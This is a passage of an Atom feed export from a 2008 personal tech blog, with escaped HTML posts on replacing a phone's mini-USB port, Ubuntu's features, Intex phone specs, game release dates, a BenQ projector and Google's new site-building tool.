the excess solder from the&lt;br /&gt;pads. Not everything came out perfectly. The second to last pad didn't&lt;br /&gt;make it through the removal process. In this case, I'm pretty sure that&lt;br /&gt;that pin took some impact when the connector was trashed. I was careful&lt;br /&gt;not to torque the pins as I removed them, but I'm not surprised that&lt;br /&gt;one pad didn't make it considering the amazing amount of damage to the&lt;br /&gt;port.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='120' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/pinout-moto-charg.jpg'/&gt;&lt;br/&gt;The pin in question is numbered X on &lt;a href='http://pinouts.ru/CellularPhones-A-N/razrv3_charger_pinout.shtml'&gt;this&lt;/a&gt;&lt;br /&gt;Motorola charger pin-out. It's shorted with a resistor to pin 2 to&lt;br /&gt;indicate that a charger is connected. Unfortunately, the phone will&lt;br /&gt;never charge from a wall charger again (unless the board is swapped&lt;br /&gt;out.) It's possible that the trace could be rebuilt with a conductive&lt;br /&gt;pen, but I'm doubtful that it would be that successful.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/new-port-ready.jpg'/&gt;&lt;br/&gt;Now&lt;br /&gt;we're ready for the new port. There's one difference between the&lt;br /&gt;original and the replacement: two pins that are designed to align the&lt;br /&gt;port on the board. They're plastic, so it's an easy fix.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='237' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/cut-legs-off-new-port.jpg'/&gt;&lt;br/&gt;Grind&lt;br /&gt;them off with your rotary tool so that the connector is smooth on the&lt;br /&gt;bottom. After that, clip the tabs on the new port and remove the rear&lt;br /&gt;shielding as before.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='212' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/mount-new-port.jpg'/&gt;&lt;br/&gt;After&lt;br /&gt;the new port is aligned (double check the pins in the rear!) solder one&lt;br /&gt;of the shielding legs to the board. Double check the pin alignment&lt;br /&gt;again, and solder the other legs. Now the port should be solidly&lt;br /&gt;mounted.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='224' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/solder-pins.jpg'/&gt;&lt;br/&gt;Next,&lt;br /&gt;the pins on the new port need to be soldered. The super fine tip on my&lt;br /&gt;15 watt Weller pencil made this easy. Alternatively, you can use a&lt;br /&gt;wider tip to solder things and go back over the pins with de-soldering&lt;br /&gt;braid to remove any solder bridges. If you forgot to remove the rear&lt;br /&gt;shield, you'll have one hell of a time soldering the pins. On this&lt;br /&gt;particular phone, the metal shielding behind the port made it&lt;br /&gt;impossible to access the pins without removing the rear shielding.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='257' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/fixed-sweet.jpg'/&gt;&lt;br/&gt;Despite the missing pin, the phone started up just fine when we plugged it in. One more cell phone saved from the recycle bin.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-1936850073330676520?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/1936850073330676520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=1936850073330676520' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/1936850073330676520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/1936850073330676520'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/how-to-replace-mini-usb-port-on-your.html' title='How-To: Replace a mini USB port (on your cellphone)'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-3894866608864851019</id><published>2008-03-02T06:48:00.000-08:00</published><updated>2008-03-02T06:49:22.101-08:00</updated><title type='text'>Ubuntu</title><content type='html'>&lt;h2&gt;&lt;font face="agency"&gt;Hey, I just found a new interesting operating system. Well, its free!!!&lt;/font&gt;&lt;br /&gt;&lt;/h2&gt;It has everything you need on a system. Its name is &lt;b&gt;Ubuntu&lt;/b&gt;&lt;br /&gt;&lt;h2&gt;What is Ubuntu?&lt;/h2&gt;  &lt;p&gt;Ubuntu is a &lt;a href="http://www.ubuntu.com/community" title="Ubuntu Community" class="redhighlight"&gt;community&lt;/a&gt; developed operating system that is perfect for laptops, &lt;a href="http://www.ubuntu.com/products/whatisubuntu/desktopedition" title="Ubuntu Desktop Edition" class="redhighlight"&gt;desktops&lt;/a&gt; and &lt;a href="http://www.ubuntu.com/products/whatisubuntu/serveredition" title="Ubuntu Server Edition" class="redhighlight"&gt;&lt;u&gt;servers&lt;/u&gt;&lt;/a&gt;.                                                                         &lt;!--   &lt;span class="submitted"&gt;&lt;/span&gt; --&gt;    &lt;span class="taxonomy"&gt;&lt;ul class="links inline"&gt;&lt;li class="first last taxonomy_term_5"&gt;&lt;a href="http://www.ubuntu.com/taxonomy/term/5" rel="tag" title="Getting and using Ubuntu" class="taxonomy_term_5"&gt;products&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;    &lt;/p&gt;&lt;h2&gt;&lt;img src="http://www.ubuntu.com/files/u3/LaptopUbuntu.jpg" alt=" " align="right" height="211" hspace="8" vspace="8" width="265" /&gt;&lt;/h2&gt;&lt;p&gt;Whether you use it at home, at school or at work Ubuntu contains all the applications you'll ever need, from word processing and email applications, to web server software and programming tools. &lt;/p&gt; &lt;p&gt;Ubuntu is and always will be &lt;strong&gt;free of charge&lt;/strong&gt;. You do not pay any licensing fees. You can download, use and share Ubuntu with your friends, family, school or business for absolutely nothing.&lt;/p&gt; &lt;p&gt;We issue a &lt;strong&gt;new desktop and server release every six months&lt;/strong&gt;. That means you'll always have the the latest and greatest applications that the open source world has to offer.&lt;/p&gt; &lt;p&gt;Ubuntu is designed with security in mind. You get &lt;strong&gt;free security updates &lt;/strong&gt;f&lt;strong&gt;or at least 18 months&lt;/strong&gt; on the desktop and server. With the Long Term Support (LTS) version you get three years support on the desktop, and five years on the server. There is no extra fee for the LTS version, we make our very best work available to everyone on the same free terms. Upgrades to new versions of Ubuntu are and always will be free of charge.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Everything you need on one CD,&lt;/strong&gt; which provides a complete working environment. Additional software is available online.&lt;img src="http://www.ubuntu.com/files/u3/applicationsmenu.png" alt=" " align="right" height="271" width="196" /&gt;&lt;/p&gt; &lt;p&gt;The graphical installer enables you to &lt;strong&gt;get up and running quickly and easily&lt;/strong&gt;. A standard installation should take less than 25 minutes.&lt;/p&gt; &lt;p&gt;Once installed your system is immediately &lt;strong&gt;ready-to-use&lt;/strong&gt;. On the &lt;a href="http://www.ubuntu.com/products/whatisubuntu/desktopedition" title="Ubuntu Desktop Edition"&gt;&lt;u&gt;desktop&lt;/u&gt;&lt;/a&gt; you have a full set of productivity, internet, drawing and graphics applications, and games.&lt;/p&gt; &lt;h3&gt; &lt;/h3&gt; &lt;p&gt;On the server you get just what you need to get up and running and nothing you don't.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;&lt;strong&gt;What does Ubuntu mean?&lt;/strong&gt; &lt;/h2&gt; &lt;p align="left"&gt;Ubuntu is an African word meaning 'Humanity to others', or 'I am what I am because of who we all are'. The Ubuntu distribution brings the spirit of Ubuntu to the software world.&lt;/p&gt;&lt;h2&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/h2&gt;&lt;h2&gt;&lt;br /&gt;&lt;/h2&gt;&lt;h2&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/h2&gt; &lt;h3&gt;OpenOffice - A complete productivity suite &lt;/h3&gt; &lt;p&gt;&lt;strong&gt;   Word Processor &lt;/strong&gt;has everything you would expect from a modern, fully equipped word processor or desktop publisher. It's simple enough for a quick memo, powerful enough to create complete books with contents, diagrams, indexes, etc. You're free to concentrate on your message - while Word Processor makes it look great. The &lt;em&gt;Wizards feature &lt;/em&gt;takes all the hassle out of producing standard documents such as letters, faxes, agendas, minutes, or carrying out more complex tasks such as mail merges. &lt;/p&gt; &lt;p&gt;&lt;strong&gt;Spreadsheet &lt;/strong&gt;is the programme you've always wanted. Newcomers find it intuitive and easy to learn; professional data miners and number crunchers will appreciate the comprehensive range of advanced functions. Of course, you are free to use your old Microsoft Excel spreadsheets, or save your work in Excel format for sending to people who still use Microsoft products. If all they want to see is your results, then use Portable Document Format (.pdf) - no need to buy any extra software. &lt;/p&gt; &lt;p&gt;&lt;strong&gt;Presentation &lt;/strong&gt;is an outstanding tool for creating effective multimedia presentations. Your presentations will stand out with 2D and 3D clip art, special effects, animation, and high-impact drawing tools. A complete range of views are supported: Drawing / Outline / Slides / Notes / Handouts to meet all the needs of presenters and audiences, plus an optional multi-pane view to put all the tools at your fingertips.&lt;/p&gt; &lt;h3&gt;&lt;img src="http://www.ubuntu.com/files/u3/evolutionoanes.png" alt=" " align="right" height="390" hspace="5" vspace="5" width="500" /&gt;&lt;/h3&gt; &lt;h3&gt;&lt;strong&gt;Integrated email and calendaring&lt;/strong&gt;&lt;/h3&gt; &lt;h3&gt; &lt;/h3&gt; &lt;h3&gt; &lt;/h3&gt; &lt;p&gt;Whether you need to simply check your email, create a calendar or search for a contact, &lt;strong&gt;Evolution&lt;/strong&gt; can help you. &lt;/p&gt; &lt;p&gt;New features in Evolution 2.8.0 include vertical message panes. See your email the way you want it. Search Folders are saved intelligent searches which can display groups of email according to your specified criteria. Create Search Folders to combine mail from different mail accounts into a single view, quickly view all mail from your boss (or a particular friend).&lt;/p&gt; &lt;h3&gt;Easy note-taking with Tomboy&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Tomboy &lt;/strong&gt;is a desktop note-taking application. It is simple and easy-to-use, but with potential to help you organise the ideas and information you deal with every day. Tomboy relates notes and ideas together. Using a wiki-like linking system, organising ideas is as simple as typing a name. &lt;/p&gt; &lt;h3&gt; &lt;strong&gt;Safe, easy and tabbed web browsing&lt;/strong&gt;&lt;/h3&gt; &lt;div&gt;&lt;img src="http://www.ubuntu.com/files/u3/tabbedbrowsing2.png" alt=" " align="right" height="227" hspace="5" vspace="5" width="500" /&gt;&lt;/div&gt; &lt;h3&gt; &lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Firefox 2.0&lt;/strong&gt; is a powerful, award-winning and standards compliant web browser. With tabbed browsing you'll be able to use one window to view all your web pages.&lt;/p&gt; &lt;p align="left"&gt;New features in 2.0 include inline spell check support in web forms, restore session that crashed, built in phishing detectors, better support for previewing and subscribing to web feeds, enhanced search engine management with built in OpenSearch support, and much more. &lt;/p&gt; &lt;p&gt; &lt;/p&gt;&lt;h3&gt;Easy editing and uploading of photos&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;F-spot&lt;/strong&gt; enables you to import your photos from your hard drive, camera (including PTP type), or iPod, and supports 16 common files types, including JPEG, GIF, TIFF, RAW. Your photos can be tagged for searching and grouping. Other features include fullscreen and slideshow modes. &lt;/p&gt; &lt;p&gt;Editing photos in F-Spot is a breeze. Easily rotate, crop, resize, and adjust red eye and other colour settings with a few simple clicks, and versioning ensures your originals are never altered. You can also enter descriptions of photos that are saved in the actual file so other people and programmes will be able to see them, whether they use F-Spot or not. &lt;/p&gt; &lt;p&gt; &lt;img src="http://www.ubuntu.com/files/u3/totem-tn.png" alt=" " align="right" height="239" hspace="5" vspace="5" width="312" /&gt;&lt;/p&gt; &lt;h3&gt;&lt;strong&gt;Music and videos&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Rhythmbox&lt;/strong&gt; media player has a number of features that let you easily store, search and browse your music library and listen to internet radio. You can also view films, or videos, using &lt;strong&gt;Totem&lt;/strong&gt; which features a play list, a full-screen mode, seek and volume controls and keyboard navigation. &lt;/p&gt; &lt;p align="left"&gt;You can &lt;a href="http://www.ubuntu.com/getubuntu/download" title="Download Ubuntu"&gt;&lt;u&gt;download&lt;/u&gt;&lt;/a&gt; Ubuntu, or &lt;a href="https://shipit.ubuntu.com/" title="Request A Free CD"&gt;&lt;u&gt;request a free CD&lt;/u&gt;&lt;/a&gt; from Canonical. &lt;/p&gt; &lt;h3&gt;&lt;strong&gt;System Requirements&lt;/strong&gt; &lt;/h3&gt; &lt;p align="left"&gt;Ubuntu is available for PC, 64-Bit and Mac architectures. CDs require at least 256 MB of RAM. Install requires at least 2 GB of disk space. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-3894866608864851019?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/3894866608864851019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=3894866608864851019' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3894866608864851019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3894866608864851019'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/ubuntu.html' title='Ubuntu'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-5473726981152161389</id><published>2008-03-01T20:30:00.000-08:00</published><updated>2008-03-01T20:32:17.912-08:00</updated><title type='text'>How to Quickly Read Small Fonts on Metacafe As Well As Other Site</title><content type='html'>&lt;embed flashvars="altServerURL=http%3A%2F%2Fwww.metacafe.com&amp;amp;playerVars=blogName=creativzmind|blogURL=http%3A%2F%2Fcreativzmind.blogspot.com" src="http://www.metacafe.com/fplayer/1131870/how_to_quickly_read_small_fonts_on_metacafe_as_well_as_other_sit.swf" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="345" width="400"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;a href="http://www.metacafe.com/watch/1131870/how_to_quickly_read_small_fonts_on_metacafe_as_well_as_other_sit/"&gt;How to Quickly Read Small Fonts on Metacafe As Well As Other Sit&lt;/a&gt; - &lt;a href="http://www.metacafe.com/"&gt;For more funny movies, click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="ItemInfoDesc" class="Desc"&gt;&lt;span&gt;I am 52 years old, and I am not able to read the small fonts on the computer without the help of my specs. But, a after I found this technique reading small fonts is a&lt;span class="moreTogglerWrapper invisible"&gt; &lt;/span&gt;&lt;span class="moreText"&gt;Jiffy. This works only on Mozilla Firefox&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-5473726981152161389?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/5473726981152161389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=5473726981152161389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/5473726981152161389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/5473726981152161389'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/how-to-quickly-read-small-fonts-on.html' title='How to Quickly Read Small Fonts on Metacafe As Well As Other Site'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-8622104668207664503</id><published>2008-03-01T08:21:00.000-08:00</published><updated>2008-03-01T08:23:20.902-08:00</updated><title type='text'>Intex Showcases Their Range of Gadgets</title><content type='html'>&lt;p&gt;Intex Technologies (India) Ltd, Delhi, elaborated its business plans for Western India for FY 2007-08, in the city. Along with revealing their target of Rs. 115 crore from the region this year, they also had a wide range of their products displayed. Among the range were some of the new Intex mobile phones which have hit the Indian market aside from the Aura and Infi models that were launched earlier.&lt;br /&gt;&lt;br /&gt;The Envy 1044 is a lightweight mobile (78g) with a 1.8 inch TFT display sporting a resolution of 176 x 220 pixel resolution and 262k colors. It has video caller ID and the memory can be expanded. A 512MB card is provided with the box. It’s equipped with a 1.3 megapixel camera that records video. It supports MP3 playback and files can also be used as ringtones. It also has USB support. The Envy 1044 also has 8 embedded games and loudspeaker. It's priced at Rs. 4,990.&lt;br /&gt;&lt;br /&gt;The Flair 1107 has a 1.5 inch CSTN display with a resolution of 128 x 128 pixels and 65K colors. It also has a torch light feature and is an entry level mobile priced at Rs. 1,990.&lt;br /&gt;&lt;/p&gt;&lt;div align="center"&gt;&lt;a href="http://www.tech2.com/media/images/2007/Dec/img_39081_flair_envy.jpg" target="_blank"&gt;&lt;img src="http://www.tech2.com/media/images/2007/Dec/img_39081_flair_envy_450x360.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p align="center"&gt;&lt;strong&gt;Envy 1044 and Flair 1107&lt;/strong&gt; &lt;/p&gt;&lt;p&gt;The Estelo 3060 is a slider phone with a 1.3 megapixel camera, an MP3 player and USB support. It has a 2.0 inch TFT display with a resolution of 176 x 220 pixels and 262K colors. The phone's camera also doubles as a web cam for video chats on the PC. The Estelo 3060 also supports Bluetooth. It's available at Rs. 5,440 with 512 MB T-Flash Card and Rs.5,640 with 1GB T-Flash Card.&lt;br /&gt;&lt;br /&gt;Intex’s higher range mobile the Ultima 1170 is equipped with a 3.2 megapixel auto-focus camera, an MP3 player, supports Bluetooth and also has an integrated FM radio. The Ultima 1170 has a 2.4-inch QVGA display that sports a 240 x 320 pixel resolution with 262K colors. It also supports video caller ID and is also equipped with TV out capability, expandable memory, USB support and this models can also be sued as a webcam. It’s priced at Rs. 13,999.&lt;br /&gt;&lt;/p&gt;&lt;div align="center"&gt;&lt;a href="http://www.tech2.com/media/images/2007/Dec/img_39101_ultima_estelo.jpg" target="_blank"&gt;&lt;img src="http://www.tech2.com/media/images/2007/Dec/img_39101_ultima_estelo_450x360.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p align="center"&gt;&lt;strong&gt;Estelo 3060 and Ultima 1107&lt;/strong&gt; &lt;/p&gt;&lt;p&gt;One of the previously launched models the Aura is now available in Gold and is priced at Rs. 6,990 with a 1 GB T Flash card and the older Aura Black is priced at Rs. 6750 with a 1 GB T Flash card.&lt;br /&gt;&lt;/p&gt;&lt;div align="center"&gt;&lt;a href="http://www.tech2.com/media/images/2007/Dec/img_39091_aura.jpg" target="_blank"&gt;&lt;img src="http://www.tech2.com/media/images/2007/Dec/img_39091_aura_450x360.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p align="center"&gt;&lt;strong&gt;Aura Black and Aura Gold&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Along with their mobile phones Intex also showcased their Bluetooth headset the Bluetooth 121, their 5 megapixel webcam and a slew of other products from Bluetooth enabled car audio and video players, car speakers to computers, monitors, Laptops, Speaker systems and other gizmos and devices for your home and car. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-8622104668207664503?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/8622104668207664503/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=8622104668207664503' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8622104668207664503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8622104668207664503'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/intex-showcases-their-range-of-gadgets.html' title='Intex Showcases Their Range of Gadgets'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-5535827136222403091</id><published>2008-03-01T07:53:00.001-08:00</published><updated>2008-03-01T07:53:31.934-08:00</updated><title type='text'>Lost, Frontlines and Denied Ops Dated</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I just got off the phone with local game distributor, e-xpress&lt;br /&gt;Interactive who filled me in on their packed schedule for the month of&lt;br /&gt;March in the form of three major releases (ok so it’s more like&lt;br /&gt;two major releases and one mediocre one).&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a target='_blank' href='http://www.tech2.com/media/images/2008/Feb/img_51021_express.jpg'&gt;&lt;img border='0' alt='' src='http://www.tech2.com/media/images/2008/Feb/img_51021_express_450x360.jpg'/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;On the 14th of March, gamers all over India will get their grubby little paws on:&lt;br/&gt;&lt;br/&gt;&lt;ul&gt;&lt;li&gt;Lost: Via Domus (PC)&lt;/li&gt;&lt;li&gt;Frontlines: Fuels of War (PC – 699)&lt;/li&gt;&lt;li&gt;Conflict: Denied Ops (PC – 699, Xbox 360 – 1999, PS3 – 2499)&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-5535827136222403091?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/5535827136222403091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=5535827136222403091' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/5535827136222403091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/5535827136222403091'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/lost-frontlines-and-denied-ops-dated.html' title='Lost, Frontlines and Denied Ops Dated'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-4766333639286646513</id><published>2008-03-01T07:52:00.001-08:00</published><updated>2008-03-01T20:27:07.607-08:00</updated><title type='text'>BenQ Release Ultra Portable Projector</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;BenQ has launched a new DLP Projector – the BenQ CP220C, the size of a B5 sheet of paper, designed for portability &lt;/p&gt;&lt;div align="center"&gt;&lt;a target="_blank" href="http://www.tech2.com/media/images/2008/Feb/img_51031_benq_cp220_topimage.jpg"&gt;&lt;img style="width: 586px; height: 449px;" src="http://www.tech2.com/media/images/2008/Feb/img_51031_benq_cp220_topimage.jpg" /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;The&lt;br /&gt;BenQ CP220C projects at native XGA (1024 X 768) resolution and features&lt;br /&gt;a brightness of 2000 ANSI lumens with a contrast ratio of 700:1. BenQ's&lt;br /&gt;color matching technology ensures that the color quality of the&lt;br /&gt;projected image matches with the color displayed on the notebook's&lt;br /&gt;screen. Real time Auto-Keystone technology, Carl Zeiss lens etc. are&lt;br /&gt;few of the goodies that make up the projector. It also has an&lt;br /&gt;off-and-go function which enables the projector to cool off quickly.&lt;br /&gt;&lt;br /&gt;Ish&lt;br /&gt;Bawa, Marcom Head, BenQ India, said, "There is a growing trend of&lt;br /&gt;"mobile" office in industries such as media, HR and finance, which&lt;br /&gt;involves senior level executives to travel and make presentations to&lt;br /&gt;the audiences out of their offices. Hence, there has been an emerging&lt;br /&gt;demand for products that are portable and easy-to-carry. BenQ's CP220C&lt;br /&gt;series of portable projectors is an ideal solution to cater to the&lt;br /&gt;needs of such professionals."&lt;br /&gt;&lt;br /&gt;The new projector will be available at BenQ IT zones and through BenQ dealers at Rs. 58,990.                        &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-4766333639286646513?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/4766333639286646513/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=4766333639286646513' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4766333639286646513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4766333639286646513'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/benq-release-ultra-portable-projector.html' title='BenQ Release Ultra Portable Projector'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-3093871985660997402</id><published>2008-03-01T07:51:00.001-08:00</published><updated>2008-03-01T07:51:00.944-08:00</updated><title type='text'>Google Unveils Tools to Set Up Web Sites</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Google, already the world's most popular spot for finding Web sites, is&lt;br /&gt;aiming to become the go-to place for creating Web sites too.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;The Mountain View-based company is taking its first step toward that&lt;br /&gt;goal Thursday with the debut of a free service designed for high-tech&lt;br /&gt;neophytes looking for a simple way to share information with other&lt;br /&gt;people working in the same company or attending the same class in&lt;br /&gt;school.&lt;br/&gt; &lt;br/&gt; With only a few clicks, just about anyone will be able&lt;br /&gt;to quickly set up and update a Web site featuring wide an array of&lt;br /&gt;material, including pictures, calendars and video from Google Inc.'s&lt;br /&gt;YouTube subsidiary, said Dave Girouard, general manager of the division&lt;br /&gt;overseeing the new application.&lt;br/&gt; &lt;br/&gt; "We are literally adding an edit button to the Web," Girouard said.&lt;br/&gt; &lt;br/&gt; All sites created on the service will run on one of Google's computers.&lt;br/&gt; &lt;br/&gt; Google acquired many of the Web-site tools when it bought a Silicon Valley startup, JotSpot, last year.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;The tools are the latest addition to a bundle of applications that&lt;br /&gt;Google offers to consumers and businesses as alternatives to similar&lt;br /&gt;products sold by Microsoft Corp., one of Google's fiercest rivals.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;Google's latest service represents a challenge to Microsoft's&lt;br /&gt;SharePoint, which charges licensing fees. Google is unveiling its&lt;br /&gt;alternative just a few days before Redmond, Wash.-based Microsoft hosts&lt;br /&gt;a SharePoint conference in Seattle.&lt;br/&gt; &lt;br/&gt; While Microsoft's programs&lt;br /&gt;typically are installed on individual computers, Google keeps its&lt;br /&gt;application on its own machines so users can access them from anywhere&lt;br /&gt;with an Internet connection.&lt;br/&gt; &lt;br/&gt; By gradually introducing free&lt;br /&gt;versions of word processing, spreadsheet, and calendaring programs over&lt;br /&gt;the past two years, Google has been threatening to siphon revenue away&lt;br /&gt;from Microsoft, which makes most of its money from software sales.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;Microsoft, in turn, hopes to take a bite of out Google's&lt;br /&gt;bread-and-butter in online search and advertising by buying Yahoo Inc.&lt;br /&gt;for more than $40 billion.&lt;br/&gt; &lt;br/&gt; Google says more than 500,000&lt;br /&gt;companies, government agencies and schools use at least some of its&lt;br /&gt;applications. The company won't say how many of those organizations&lt;br /&gt;subscribe to a premium version of its software suite, but the 